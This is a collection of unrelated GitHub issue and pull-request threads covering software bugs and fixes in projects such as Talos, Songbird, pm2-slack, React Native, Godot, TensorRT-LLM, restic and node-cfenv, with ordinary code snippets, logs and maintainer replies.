Powered by Codecov. Last updated by [e733199...e61776f][cc-compare]
[cc-base-branch]: https://codecov.io/gh/bencripps/react-redux-grid/branch/master?src=pr
[cc-compare]: https://codecov.io/gh/bencripps/react-redux-grid/compare/e73319934e80b519d49d8aee3d9f68f1242ffd99...e61776fba0238a1ff8d9c4ec69d4263b830f4c70
[cc-pull]: https://codecov.io/gh/bencripps/react-redux-grid/pull/20?src=pr

Looks great! 👍


"TypeError: constructor returned NULL" on Raspberry pi

1) Confirm the below

[x] My Python version is 3.5 or higher
[x] I have searched through the issues Issues for a duplicate
[x] I've tested that my Keras model works as a stand-alone

2) Include the output of:
talos.__version__
not possible, because of import issue. pip3 list gives me: talos (0.6.3)
3) Explain clearly what you expect to happen
Running talos via ssh or cronjob on a UI-less linux server and raspberry pi's
4) Explain what actually happened
My code runs fine under Kubuntu 18.04. I want to run the same code and model on a raspberry pi and I'm connected via SSH. On Raspi I get an error as soon "import talos as ta" is called:
`Unable to init server: Could not connect: Connection refused
Unable to init server: Verbindung ist gescheitert:Connection refused
(predictor.py:18596): Gdk-CRITICAL **: gdk_cursor_new_for_display: assertion 'GDK_IS_DISPLAY (display)' failed
Traceback (most recent call last):
File "/home/pi/git/repo/predictor.py", line 2, in
import talos as ta
File "/home/pi/.local/lib/python3.5/site-packages/talos/init.py", line 14, in
from . import utils
File "/home/pi/.local/lib/python3.5/site-packages/talos/utils/init.py", line 3, in
from kerasplotlib import TrainingLog as live
File "/home/pi/.local/lib/python3.5/site-packages/kerasplotlib/init.py", line 1, in
from kerasplotlib.traininglog import TrainingLog
File "/home/pi/.local/lib/python3.5/site-packages/kerasplotlib/traininglog.py", line 5, in
import matplotlib.pyplot as plt
File "/home/pi/.local/lib/python3.5/site-packages/matplotlib/pyplot.py", line 115, in
_backend_mod, new_figure_manager, draw_if_interactive, _show = pylab_setup()
File "/home/pi/.local/lib/python3.5/site-packages/matplotlib/backends/init.py", line 62, in pylab_setup
[backend_name], 0)
File "/home/pi/.local/lib/python3.5/site-packages/matplotlib/backends/backend_gtk3agg.py", line 9, in
from . import backend_agg, backend_gtk3
File "/home/pi/.local/lib/python3.5/site-packages/matplotlib/backends/backend_gtk3.py", line 32, in
cursors.MOVE : Gdk.Cursor.new(Gdk.CursorType.FLEUR),
TypeError: constructor returned NULL`
Seems this is a problem like this: https://stackoverflow.com/questions/31328436/typeerror-constructor-returned-null-while-importing-pyplot-in-ssh
Is talos build to run on servers or only on PC's with an UI?
5) Provide a code-complete reference

run on raspberry pi: python3
send to python console: import talos as ta
Error happens

[ ] My bug report includes an input model
[ ] My bug report includes a parameter dictionary
[ ] My bug report includes a Scan() command
[ ] My bug report question includes a link to a sample of the data

NOTE: If the data is sensitive and can't be shared, create dummy data that mimics it.
A self-contained Jupyter Notebook, Google Colab, or similar is highly preferred and will speed up helping you with your issue.

os.environ["DISPLAY"] does not return anything in osx, so I assume similar case will happen in some other distros as well. Closing this as resolving it would go quite far from the focus of Talos. Good that you found a workaround.
This does raise an important question that have been lurking there all the while; does it really make sense to carry over all the baggage from matplotlib to Talos. Answer is that probably not.


The play method is playing the previous input source instead of the currecnt source.

Songbird version: 0.3.2
Rust version (rustc -V): 1.69.0
Serenity/Twilight version: 0.11.5
Output of ffmpeg -version, yt-dlp --version (if relevant):
ffmpeg -version
ffmpeg version 6.0-full_build-www.gyan.dev Copyright (c) 2000-2023 the FFmpeg developers
built with gcc 12.2.0 (Rev10, Built by MSYS2 project)
configuration: --enable-gpl --enable-version3 --enable-static --disable-w32threads --disable-autodetect --enable-fontconfig --enable-iconv --enable-gnutls --enable-libxml2 --enable-gmp --enable-bzlib --enable-lzma --enable-libsnappy --enable-zlib --enable-librist --enable-libsrt --enable-libssh --enable-libzmq --enable-avisynth --enable-libbluray --enable-libcaca --enable-sdl2 --enable-libaribb24 --enable-libdav1d --enable-libdavs2 --enable-libuavs3d --enable-libzvbi --enable-librav1e --enable-libsvtav1 --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxavs2 --enable-libxvid --enable-libaom --enable-libjxl --enable-libopenjpeg --enable-libvpx --enable-mediafoundation --enable-libass --enable-frei0r --enable-libfreetype --enable-libfribidi --enable-liblensfun --enable-libvidstab --enable-libvmaf --enable-libzimg --enable-amf --enable-cuda-llvm --enable-cuvid --enable-ffnvcodec --enable-nvdec --enable-nvenc --enable-d3d11va --enable-dxva2 --enable-libvpl --enable-libshaderc --enable-vulkan --enable-libplacebo --enable-opencl --enable-libcdio --enable-libgme --enable-libmodplug --enable-libopenmpt --enable-libopencore-amrwb --enable-libmp3lame --enable-libshine --enable-libtheora --enable-libtwolame --enable-libvo-amrwbenc --enable-libilbc --enable-libgsm --enable-libopencore-amrnb --enable-libopus --enable-libspeex --enable-libvorbis --enable-ladspa --enable-libbs2b --enable-libflite --enable-libmysofa --enable-librubberband --enable-libsoxr --enable-chromaprint
libavutil      58.  2.100 / 58.  2.100
libavcodec     60.  3.100 / 60.  3.100
libavformat    60.  3.100 / 60.  3.100
libavdevice    60.  1.100 / 60.  1.100
libavfilter     9.  3.100 /  9.  3.100
libswscale      7.  1.100 /  7.  1.100
libswresample   4. 10.100 /  4. 10.100
libpostproc    57.  1.100 / 57.  1.100

yt-dlp --version
2023.03.04

Description:
The problem is like, for example, I send play command and use YouTube link A as an argument, it can play A correctly, then I send play command and use another YouTube link B as argument while A is still playing, it will stop A and play A again, instead of playing B. While it is playing A in the second time (that the input is actually B), and I send play command and use B as argument again, then it stop A and start playing B. Consequently, if I need to stop the track playing currently and start playing another track by using play, I have to send the play command twice. In my code, I implement my play command myself, and I'm not using the builtin-queue feature, I implement a HashMap to store what is playing for each guild instead. Below is my code:
#[command]
async fn play(ctx: &Context, msg: &Message, mut args: Args) -> CommandResult {
    let guild = msg.guild(&ctx.cache).unwrap();
    let guild_id = guild.id;

    // Check if url is provided
    match args.single::<String>() {
        // If url is provided
        Ok(url) => {

            // Check if the user is in a voice channel
            let user_voice_channel_id = match guild.voice_states.get(&msg.author.id)
            .and_then(|voice_channel| voice_channel.channel_id) {
                Some(channel_id) => channel_id,
                None => {
                    msg.reply(ctx, "You are not in a voice channel").await?;
                    return Ok(())
                }
            };

            // Get the Songbird instance
            let manager = songbird::get(ctx).await.expect("Songbird Voice client placed in at initialization.");

            let handler_lock = match manager.get(guild_id) {
                Some(handler_lock) => {
                    // If the bot is already in a voice channel

                    let current_channel_id = guild.voice_states.get(&ctx.cache.current_user_id())
                    .and_then(|voice_state| voice_state.channel_id)
                    .unwrap();

                    if current_channel_id != user_voice_channel_id {
                    // The bot is in another channel
                        msg.reply(ctx, format!("I'm currently in {}.", current_channel_id.mention())).await?;
                        return Ok(());
                    }
                    handler_lock
                },
                None => {
                    let (handler_lock, success) = manager.join(guild_id, user_voice_channel_id).await;
                    if let Ok(_) = success {
                        msg.channel_id.say(ctx, format!("Join {}", user_voice_channel_id.mention())).await?;
                    }
                    handler_lock
                }
            };

            // Validate the URL
            if !Url::parse(&url).is_ok() {
                msg.reply(ctx, "You must provide a valid YouTube URL.").await?;
                return Ok(());
            }

            let source = ytdl(&url).await?;
            let mut handler = handler_lock.lock().await;
            let track_handle = handler.play_only_source(source);
            let title = track_handle.metadata().title.clone().unwrap();
            // Update the current track
            let playing_lock = {
                let data_read = ctx.data.read().await;
                data_read.get::<Playing>().expect("Expected Playing in TypeMap").clone()
            };
            {
                let mut playing = playing_lock.write().await;
                let _ = playing.insert(guild_id, track_handle);
            }

            // Inform the user about the song being played
            msg.reply(ctx, format!("Now playing: {}", title)).await?;

        },
        Err(_) => {
            // Check if there is a paused track
            let playing_lock = {
                let data_read = ctx.data.read().await;
                data_read.get::<Playing>().expect("Expected Playing in TypeMap").clone()
            };
            {
                let playing = playing_lock.read().await;
                if let Some(current_track) = playing.get(&guild_id) {
                    match current_track.get_info().await {
                        Ok(track_state) => match track_state.playing {
                            PlayMode::Pause => {
                                let _ = current_track.play();
                                return Ok(())
                            },
                            _ => ()
                        },
                        Err(_) => ()
                    };
                } else {
                    msg.reply(ctx, "You have to provide a url.").await?;
                }
                return Ok(())
            }
        }
    };
    Ok(())
}

Steps to reproduce:
You can reproduce this with this example code by using the play command in it.

Following this thread as it seems we're also having this issue on our side.

Thanks for the report, I suspect this is coming from how youtube-dl/yt-dlc/yt-dlp behaves. Unfortunately, I don't have too much time for non-next development -- If you can investigate and fix, then feel free!

@FelixMcFelix your suspicions are right, I update my yt-dlp version to 2<IP_ADDRESS>240, which is a nightly version, and the problem is solved. Thanks a lot!


Confusing lint error

Does this error confuse anyone else? Especially when the solution is to remove the space in front of the opening brace.

I'm having a similar issue with the manifest_whitespace_opening_brace_after.

The error says there should be a single space/newline after an opening brace but it's actually the opposite.


Not getting anything into my slack channel and I'm not sure where to start debugging

My settings:
slack_url: https://hooks.slack.com/services/[redacted]/[redacted]/[redacted]
buffer_seconds: 20
log: true

I tried stopping and starting pm2 but nothing...
If I do pm2 log I can see my log files updating, but nothing gets to my slack channel. I have no idea how to debug this...

I have this problem too. I can not see my log

this is my configuration
log                │ true
slack_url          │ https://hooks.slack.com/services/[code]/[code]/[code]
buffer_seconds     │ 5
buffer             │ true
buffer_max_seconds │ 20
queue_max          │ 100
error              │ true
kill               │ true
exception          │ true
restart            │ true
reload             │ true
delete             │ true
stop               │ true
exit               │ true
start              │ true
online             │ true
restart_overlimit  │ true
But nothing ever comes in my slack. I configured the same in the documentation and put the webhook url, but nothing works.
@GusRuss89 @kjhangiani @abawchen @mattpker @ma-zal
Help pliss

I am also facing the same issue. Not getting any Slack message. I tried to check the Hook URL using Postman and its working so, the issue is not with the URL.

Have the same

Ran into this as well. Initially I had installed pm2-slack as a super user (was thinking I was installing it globall), but my app is running as a normal user. Upon reinstalling / configuring pm2-slack as the non-elevated user that was in charge of my existing processes, everything started to post to slack correctly.
Hope this helps somebody :)


iOS | RN 0.62.2 | The text in the Multiline TextInput starts "jerking" when moving the cursor over it with a long press on the spacebar

Description
On iOS devices, if you add a lot of lines to a multi-line TextInput and then hold down the space bar and try to move the cursor to the desired point, the text starts jerking.
React Native version:
RN: 0.62.2 (also reproducible in 0.63.3)
Tested on iPhone 12 pro max (14.3), iPad Pro 9.7 (13.7) and simulators
Steps To Reproduce

Create multi-line TextInput field
Add a lot of lines
On iOS devices hold down the space bar and try to move the cursor to the desired point in the text
The text starts jerking, it is impossible to move the cursor to the desired point in the text

Expected Results
On iOS devices in a multi-line TextInput user should be able to move the cursor to the desired point in the text.
Snack, code example, screenshot, or link to a repository:
render() {
    return (
      <View
        style={{
          flex: 1,
          flexDirection: 'column',
          paddingTop: 70,
          paddingHorizontal: 20,
          alignItems: 'center',
          justifyContent: 'center',
        }}
      >
        <Text style={{ fontSize: 22, fontWeight: '600', marginBottom: 10 }}>
          Multiline TextInput iOS test
        </Text>
        <TextInput
          style={{
            height: 150,
            fontSize: 16,
            width: '90%',
            borderColor: 'gray',
            borderWidth: 1,
            paddingLeft: 5,
            paddingRight: 5,
          }}
          placeholder="Type multiline text here..."
          multiline
        />
      </View>
    );
  }

@artyom4ek Thanks for the issue! I'm not sure if TextInput manages this iOS gesture correctly - will need some community investigation & support.

@artyom4ek Thanks for the issue! I'm not sure if TextInput manages this iOS gesture correctly - will need some community investigation & support.

@safaiyeh Thanks for your reply. Do you know a workaround for solving this problem on iOS devices?

@safaiyeh Thanks for your reply. Do you know a workaround for solving this problem on iOS devices?

@safaiyeh Thanks for your reply. Do you know a temporary workaround for solving this problem on iOS devices?

@safaiyeh Thanks for your reply. Do you know a temporary workaround for solving this problem on iOS devices?

Any updates in this one?

It seems that the animated:NO causes the issue, setting it to animated:YES fixes it partially.
https://github.com/facebook/react-native/blob/896baf79d56e402cb1b0d3ca0eb5bd34e57d103b/Libraries/Text/TextInput/Multiline/RCTUITextView.m#L185-L190
Tested against iPhone 11 simulator and iPhone XS.
But pressing space and moving up-down it's a bit jerky.

Hi @artyom4ek, I've raised this PR to fix this issue. I've tried on iOS 14 (device), iOS 13 (simulator), and seems to be fixed. Would love your help to verify it if possible 🙏.
Also huge thanks for @efstathiosntonas, the PR created based on your suggestion and investigation ❤

@xiankuncheng great job, thank you. It’s really weird that this issue was under estimated for so long, users were complaining on a daily basis.


Filters in column menu #3490

this is great.  a few glitches:

when i drag a column to reorder it, there are a bunch of extra hamburger menus in it.
the keyboard bindings don't work over the header of the column if another element has had the focus (try clicking on a code cell, then hover mouse over column header vs body cell).

i can't reproduce the problem with extra hamburger menus.  testing more...

:+1:


[3.0.2 Stable] Bug GridContainer when change columns property

Godot version:
3.0.2 Stable, Official
OS/device including version:
Linux, KDENeon
Issue description:
[Sorry for my english xd]
When change columns in my GridContainer the editor it freezes
Evidence:
You can see the bug here: https://youtu.be/x072q4W8ia0
Minimal reproduction project:
Bug.zip
For reproduce only change in GridContainer the property "Columns" to 4
Only I tested in my PC I don't know if the same thing will happen in another.

Problem comes from
https://github.com/godotengine/godot/blob/38623e07acb5addbd47b046d7734510d4e074156/scene/gui/grid_container.cpp#L91-L109
It causes an infinite cycle, in which remaining_space.width becomes negative (I stopped it around -2101692420)
Ping @groud

@MatiasVME BTW, for a workaround, you can make the area which the grid can expand to bigger.

I found the problem, I'm currently fixing it.


Watch Struct Cleanup

The signature is perfectly valid, but if you're generating these...
func (c *CoreV1) WatchNodes(ctx context.Context, options ...Option) (interface {
    Next() (*versioned.Event, *apiv1.Node, error)
    Close() error
}, error)

You might as well generate these:
func (c *CoreV1) WatchNodes(ctx context.Context, options ...Option) (NodeWatcher, error)
type NodeWatcher interface {
    Next() (*versioned.Event, *apiv1.Node, error)
    Close() error
}

(Pick generated interface name to taste)

The reasons for not going about it this way were:

It'd clutter the documentation (which is already a lot)
You'd need to prefix them with the api group. e.g.

type BatchV2Alpha1JobWatcher interface {
    Next() (*versioned.Event, *batchv2alpha1.Job, error)
    Close() error
}

Another option was to shove all the watchers in the watch package.

func (c *BatchV2Alpha1) WatchJobs(ctx context.Context, namespace string, options ...Option) (watch.BatchV2Alpha1JobWatcher, error)


How to handle users that do not have twitter app installed?

See title. If twitter app is installed, sending a tweet is trivial, since the username and password is retrieved from settings. When it is not installed, the icon is removed from activity dialog box.

The method Social.isTwitterSupported() should check that internally for you. If it is false, you need a custom logic for a fallback handling (e.g. a webview for sharing).


Modified the copyright year

This PR modified the copyright year of the license in pkg/common/webhook.go

you should add -s when you use command "git commit"


bug with __pyx_v_i

toolkit/utils/region.c: In function ‘pyx_pw_7toolkit_5utils_6region_7Polygon_5__str’:
toolkit/utils/region.c:4331:70: warning: ‘__pyx_v_i’ may be used uninitialized in this function [-Wmaybe-uninitialized]
4331 | x_t_10 = PyFloat_FromDouble((__pyx_v_self->_c_region_polygon->x[__pyx_v_i])); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 141, __pyx_L1_error)

It looks like a PyTorch issue.
Could you please provide detailed steps to reproduce this error?

Close due to unable to reproduce.
Please create a new issue should you have other questions.


User feedback on structure of GROMACS files

Under construction

Is it safe to assume two isomorphic molecules are parametrized identically? Yes

Without this, each i.e. solvent molecule would need its own [ molecule ] directive, which scales poorly and is space- and time-inefficient
However, co-parametrizing isomorphic molecules is weird and it's sensible to force workarounds to enable that

Any need to have molecules exported to .itp files? Nice to have, not necessary

User pain points with existing workflows (ParmEd + gmx tools + AmberTools/tleap + ? + OpenMM + ?)

Some important parameters (1-4 scaling factors, bond constraints) are reliably mangled or get reset to default values in OpenMM -> ParmEd conversion pathways
Non-bonded parameters can get mangled if atom or atom types (forget which) have identical names in different molecules

I met briefly with @hannahbaumann who gave the following feedback and described one of her workflows:

"Isomorphic molecules get the same parameters" seems like a reasonable assumption
ITP file writer might be useful in same cases, i.e. a user manually manipulating a ligand (or doing various alchemical things in free energy calculations)

Her "separated topologies" workflow is as follows:

Construct monolithic topology files for complexes A and B
Use some scripts to combine ligands in each complex into a one monolithic file with A and B (one of which is probably only dummy, non-interacting atoms)
Use restraints to keep dummy ligand in place

The key take-away here is that topology manipulation/access (i.e. getting the index of the ligand molecule in either complex) is needed for this workflow to run smoothly. I think OpenFF's topology objects should work well for this since molecules are first-class citizens and everything's index is accessible. The dummy atoms/ligands will probably require some hacking, however.

#95


UI Element Picker- Not Picking

Hi, when using Get Details of Element on Webpage, the UI Element Picker is not able to pick anything in the frame. Just the header of the web app is being grabbed by it . Should we manually use a custom  selector to grab the iframe url ?

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 9aa96721-3a3c-094a-3abe-6242c1febb0e
Version Independent ID: 1ee81b1c-dc76-6a95-3420-17f5ff82b695
Content: Handle iframes on a web page - Power Automate
Content Source: articles/desktop-flows/how-to/handle-iframes.md
Service: power-automate
Sub-service: desktop-flow
GitHub Login: @georgiostrantzas
Microsoft Alias: gtrantzas

Hello @Pikahood, thank you for using Power Automate! If the iframe is a cross-domain iframe, it isn't supported yet. If it isn't a cross-domain iframe, ensure web automation actions work as expected in general on your browser.  For further technical help, please reach out to our support teams through support ticket.


github api care

improvement on #2326 (reverted by #2327)
only use anonymous github api get if there are rate limit calls remaining
risk:  an image not added to the image repo is referenced in a new test and missed; likelihood: low, this isn't going to happen often and will likely be caught quickly
benefit: the majority of PRs, which have no impact on this test coverage, will try to run this test, but only run it if it will not fail due to github's harsh rate limiting controls for an IP
the tests.skip_data ensures this doesn't run in minimal test mode, so the number of calls from a single test set run is 2, not 4

@bjlittle skip pattern implemented, thus hopefully improved logging
comments added too

@marqh Thanks :+1:


Support boolean outputs

Closes https://github.com/craft-ai/craft-ai-client-python/issues/188

@yleprincecraft https://github.com/craft-ai/craft-ai-interpreter-test-suite/pull/31


withLatestFrom refactor

<!--

**Description:**
Replace the `hasValue` array used to mark whether or not the other sources have emitted a value. Using `remainingValues` which it's initialized with the number of `inputs.length` and a boolean `hasFirstValue` (which mark if the current inner observable has emitted its first value or not) can easily replace the old array.

Closing the PR because includes by mistake some changes that are not supposed to be in the PR.


Changing TTYs makes the background disappear

The process is still running, but the background just turns black. The surface completely disappears, as the cursor stays in the default no matter where you put it on the backdrop.
Would probably be fixed by changing how it's rendered (eg by using wlc's pre_render hook, similar to how Sway does it)

Long ago fixed


await on play() never resolved

final result = await AudioManager.instance.play(index: index);
// Code stops here
print(result); // never get called

consider async await iscorrect


Adding external modules to README

Because I was having trouble finding it

Here are all of the modules that I know of that exist, might as well add these while we're at it:
Varjo (VRCFT Varjo Module)
HP Reverb G2 Omnicept (Eye Only. VRCFT Omnicept Module)
Pimax Droolon Pi1 (VRCFT Pimax ET Module)
Desktop Apple AR (using iPhone X / iPad Pro 3rd Gen or newer) (VRCFT LiveLink Module)
Desktop Webcam (NoVRCFT (Module))
Desktop Kinect (VRCKinectFaceTracking (Module))


Can't profile benchmark with ncu, nsys

Tried to profile llama 7b benchmark but failed to obtain reports.
root@nf5688m7-release:/code/tensorrt_llm/benchmarks/python# ncu --target-processes all python benchmark.py  -m llama_7b  --mode plugin --batch_size "64" --input_output_len "128,128" --enable_fp8 --fp8_kv_cache
==PROF== Connected to process 36055 (/usr/bin/nvidia-smi)
==PROF== Disconnected from process 36055
==PROF== Target process 36054 terminated before first instrumented API call.
==PROF== Connected to process 35989 (/usr/bin/python3.10)
==ERROR== ERR_NVGPUCTRPERM - The user does not have permission to access NVIDIA GPU Performance Counters on the target device 0. For instructions on enabling permissions and to get more information see https://developer.nvidia.com/ERR_NVGPUCTRPERM
/usr/local/lib/python3.10/dist-packages/tensorrt_llm/runtime/generation.py:658: UserWarning: The PyTorch API of nested tensors is in prototype stage and will change in the near future. (Triggered internally at /opt/pytorch/pytorch/aten/src/ATen/NestedTensorImpl.cpp:178.)
  torch.nested.nested_tensor(split_ids_list,
==PROF== Target process 41832 terminated before first instrumented API call.
[BENCHMARK] model_name llama_7b world_size 1 num_heads 32 num_kv_heads 32 num_layers 32 hidden_size 4096 vocab_size 32000 precision float16 batch_size 64 input_length 128 output_length 128 gpu_peak_mem(gb) 21.35 build_time(s) 367.44 tokens_per_sec 260.23 percentile95(ms) 31915.803 percentile99(ms) 31915.803 lat
ency(ms) 31479.389 compute_cap sm90
==PROF== Target process 41835 terminated before first instrumented API call.
==PROF== Disconnected from process 35989
==WARNING== No kernels were profiled.

When using nsys, the following error occurs
root@nf5688m7-release:/code/tensorrt_llm/benchmarks/python# /opt/nvidia/nsight-systems/2023.3.1/bin/nsys profile python benchmark.py  -m llama_7b  --mode plugin  --batch_size "64" --input_output_len "128,128" --enable_fp8 --fp8_kv_cache
[10/29/2023-07:07:28] [TRT] [E] 1: [defaultAllocator.cpp::deallocate::62] Error Code 1: Cuda Runtime (unspecified launch failure)
[10/29/2023-07:07:28] [TRT] [E] 1: [graphContext.h::~MyelinGraphContext::55] Error Code 1: Myelin ([impl.cpp:cuda_object_deallocate:279] Error 719 destroying stream '0x560e6297eb80'.)
[10/29/2023-07:07:28] [TRT] [E] 9: Skipping tactic0x0000000000000000 due to exception unspecified launch failure
[10/29/2023-07:07:31] [TRT] [E] 1: [defaultAllocator.cpp::allocate::20] Error Code 1: Cuda Runtime (unspecified launch failure)
[10/29/2023-07:07:31] [TRT] [E] 9: Skipping tactic0x0000000000000000 due to exception [tunable_graph.cpp:create:114] autotuning: User allocator error allocating 54002688-byte buffer
[10/29/2023-07:07:31] [TRT] [E] 9: Skipping tactic0x0000000000000000 due to exception Assertion engine failed.
[10/29/2023-07:07:31] [TRT] [E] 10: Could not find any implementation for node {ForeignNode[LLaMAForCausalLM/layers/0/attention/dense/CONSTANT_1...LLaMAForCausalLM/layers/1/attention/qkv/MATRIX_MULTIPLY_0]}.
[10/29/2023-07:07:31] [TRT] [E] 1: [cudaResources.cpp::~ScopedCudaStream::47] Error Code 1: Cuda Runtime (unspecified launch failure)
[10/29/2023-07:07:31] [TRT] [E] 10: [optimizer.cpp::computeCosts::4051] Error Code 10: Internal Error (Could not find any implementation for node {ForeignNode[LLaMAForCausalLM/layers/0/attention/dense/CONSTANT_1...LLaMAForCausalLM/layers/1/attention/qkv/MATRIX_MULTIPLY_0]}.)
[10/29/2023-07:07:31] [TRT-LLM] [E] Engine building failed, please check the error log.
Traceback (most recent call last):
  File "/code/tensorrt_llm/benchmarks/python/benchmark.py", line 322, in <module>
    main(args)
  File "/code/tensorrt_llm/benchmarks/python/benchmark.py", line 219, in main
    benchmarker = GPTBenchmark(
  File "/code/tensorrt_llm/benchmarks/python/gpt_benchmark.py", line 144, in __init__
    assert engine_buffer is not None
AssertionError
Generating '/tmp/nsys-report-17ae.qdstrm'
[1/1] [========================100%] report2.nsys-rep
Generated:
    /code/tensorrt_llm/benchmarks/python/report2.nsys-rep

What do I need to do to get reports?

@WyldeCat  you can follow the guide mentioned in the documentation link posted by you, by passing --cap-add=SYS_ADMIN when you start the docker container, something like:

docker run --cap-add=SYS_ADMIN,

@WyldeCat you can follow the guide mentioned in the documentation link posted by you, by passing --cap-add=SYS_ADMIN when you start the docker container, something like:

Thanks, it seems to have become possible to use the ncu profiler, but nsys still doesn't work. Is there any way to use nsys profiler?

@WyldeCat you can follow the guide mentioned in the documentation link posted by you, by passing --cap-add=SYS_ADMIN when you start the docker container, something like:

@juney-nvidia Thanks, it seems to have become possible to use the ncu profiler, but nsys still doesn't work. Is there any way to use nsys profiler?

Have you tried to run with smaller batch size, smaller in/out length to see whether the issue still exist? And what is hardware you are using？

@WyldeCat you can follow the guide mentioned in the documentation link posted by you, by passing --cap-add=SYS_ADMIN when you start the docker container, something like:
@juney-nvidia Thanks, it seems to have become possible to use the ncu profiler, but nsys still doesn't work. Is there any way to use nsys profiler?
Have you tried to run with smaller batch size, smaller in/out length to see whether the issue still exist? And what is hardware you are using？

@juney-nvidia
I've tried batch size 1 and problem still exists. I'm using H100 80GB.
I found that running benchmarks with explicit engine directory makes nsys work.
(by giving --engine_dir my_engine_dir argument to command)
So I think, building engines on-air before benchmarking makes nsys error.
Because running benchmarks with on-air engine build is much more comfortable, it would be great if there's a way to use it with nsys.

Thanks for the feedback @WyldeCat . It would also mean that you would "pollute" your NSYS trace with a lot of extra kernel launches that are not relevant for your application (all the auto-tuning done by TensorRT) and you will end up with a much bigger NSYS output file. I'm pretty sure it would make the analysis of the NSYS report a lot harder. For now, I'm going to close the issue as "closed" but feel free to open a "feature request" if you think it's really a needed feature.


Node: EntityRecognizer.parseBoolean invalid regex

EntityRecognizer.parseBoolean uses invalid format regexes for yexExp and noExp that cause all values to be recognized as undefined instead of true or false, making Prompts.confirm() unusable.
The regexes use a "\z" character seemingly in an attempt to require an end of line anchor, but this is not valid in JavaScript, so they should use "$" instead.

Thanks... Nice catch. I ended up just removing the end of line test and leaving it open. This got missed because I failed to add a unit test for Prompts.confirm() which I also added. Thanks again. There's a new 0.6.5 release containing the fix.


Added webhook for validating ExternalDNS CRs

Used kubebuilder to add a validating webhook for ExternalDNS resources. The webhook will intercept all calls to create or update ExternalDNS resources and ensure that the values in the resources are specified correctly.
The change also contains envtests for testing the functionality of the webhook.

/retest

/lgtm


Support for multiple backends

Currently we only support Redis as the backend (as it's the name of the project), but I think it would be helpful to make it able to extend to any backend.
We would probably want some sort of backend abstract class.

It's a good idea change the project name to something more generic

yeah I definitely will once this is completed


does not restore hardlinks (linux)

original files, see inode/device are equal:
stat /home/jambo/go/src/local/icza/gowut/.git/objects/50/7cd5ea64c50c3df60df39dbb0d55769e755cbc /home/jambo/golang/src/github.com/icza/gowut/.git/objects/50/7cd5ea64c50c3df60df39dbb0d55769e755cbc
  File: ‘/home/jambo/go/src/local/icza/gowut/.git/objects/50/7cd5ea64c50c3df60df39dbb0d55769e755cbc’
  Size: 2353      	Blocks: 8          IO Block: 4096   regular file
Device: 15h/21d	Inode: 19297756    Links: 2
Access: (0444/-r--r--r--)  Uid: ( 1000/   jambo)   Gid: ( 1000/   jambo)
Access: 2016-03-09 05:05:40.354887768 +0200
Modify: 2016-03-09 05:05:40.354887768 +0200
Change: 2016-03-09 09:10:56.556327665 +0200
 Birth: -
  File: ‘/home/jambo/golang/src/github.com/icza/gowut/.git/objects/50/7cd5ea64c50c3df60df39dbb0d55769e755cbc’
  Size: 2353      	Blocks: 8          IO Block: 4096   regular file
Device: 15h/21d	Inode: 19297756    Links: 2
Access: (0444/-r--r--r--)  Uid: ( 1000/   jambo)   Gid: ( 1000/   jambo)
Access: 2016-03-09 05:05:40.354887768 +0200
Modify: 2016-03-09 05:05:40.354887768 +0200
Change: 2016-03-09 09:10:56.556327665 +0200
 Birth: -

restored:
stat /opt/big/restore/home/jambo/go/src/local/icza/gowut/.git/objects/50/7cd5ea64c50c3df60df39dbb0d55769e755cbc /opt/big/restore/home/jambo/golang/src/github.com/icza/gowut/.git/objects/50/7cd5ea64c50c3df60df39dbb0d55769e755cbc
  File: ‘/opt/big/restore/home/jambo/go/src/local/icza/gowut/.git/objects/50/7cd5ea64c50c3df60df39dbb0d55769e755cbc’
  Size: 2353      	Blocks: 8          IO Block: 4096   regular file
Device: 1eh/30d	Inode: 15984615    Links: 1
Access: (0444/-r--r--r--)  Uid: ( 1000/   jambo)   Gid: ( 1000/   jambo)
Access: 2016-03-09 05:05:40.354887768 +0200
Modify: 2016-03-09 05:05:40.354887768 +0200
Change: 2016-07-31 03:00:06.907364726 +0300
 Birth: -
  File: ‘/opt/big/restore/home/jambo/golang/src/github.com/icza/gowut/.git/objects/50/7cd5ea64c50c3df60df39dbb0d55769e755cbc’
  Size: 2353      	Blocks: 8          IO Block: 4096   regular file
Device: 1eh/30d	Inode: 16025073    Links: 1
Access: (0444/-r--r--r--)  Uid: ( 1000/   jambo)   Gid: ( 1000/   jambo)
Access: 2016-03-09 05:05:40.354887768 +0200
Modify: 2016-03-09 05:05:40.354887768 +0200
Change: 2016-07-31 03:01:42.602489940 +0300
 Birth: -

Hi, thanks for pointing this out. Restoring hardlinks is a feature that is not yet implemented. The repository contains enough data to restore hardlinks in the future, but restic does not do this on restore at the moment.
I'd appreciate someone taking the time and implement this. :smile:

This is actually a duplicate of #152, I'm closing this issue. Comments can still be added of course.


average already closed this PLEASE IGNORE

edited comment from aveage: no he didntn!!!! jhes just quitting becasue of PERSONANL reasons!!!!!!!!

nope he didnt quit

edited comment from aveage: no he didntn!!!! jhes just quitting becasue of PERSONANL reasons!!!!!!!!

Nope.

edited comment from aveage: no he didntn!!!! jhes just quitting becasue of PERSONANL reasons!!!!!!!!

Nope.

oh...so you are quitting huh

edited comment from aveage: no he didntn!!!! jhes just quitting becasue of PERSONANL reasons!!!!!!!!

Nope.

oh...so you are quitting huh

Nah.

oh, okay I kinda misinterpreted that


typescript problem

looks like we currently does not have the types for cfenv
$ npm install @types/cfenv --save
npm ERR! code E404
npm ERR! 404 Not Found: @types/cfenv@latest

Thanks in advance

Alternately I think we can put a typescript definition index.d.ts file in this repo.

That works for me.
To make this work right, since I don't use TypeScript, we'll have to add some kind of test that ensures the contents of the typescript def file are correct.  Not sure quite what that would be - if there's a "lint" option on the typescript compiler, or if we should write a test in typescript that would pull in the def file and then ensure it's correct.
I really don't want to be in a position of adding a file that folks - especially me! - don't end up checking before committing new code.  :-)
I think I was poking around this area in an unrelated GH repo, didn't get any responses on the best way to handle this sort of thing, but I'm sure there's a low-cost solution to be found.  Pre-req'ing the TS compiler as a devDep isn't a problem.

Also, non-intrusive flow bits are welcome as well, same constraints.  Must provide some way of checking the flow bits via tests of some sort.  devDeps for flow bits aren't a problem.

I've started a branch to rewrite the library in typescript [1] - which has a cfenv.d.ts file as a byproduct [2].
[1] https://github.com/drnic/node-cfenv/blob/typescript/lib-src/cfenv.ts
[2] https://github.com/drnic/node-cfenv/blob/typescript/lib/cfenv.d.ts
I'll keep working on it. At this moment, deploying the lib/server.js sample app to CF is working.
I've not yet rewritten server.coffee nor the test suite.
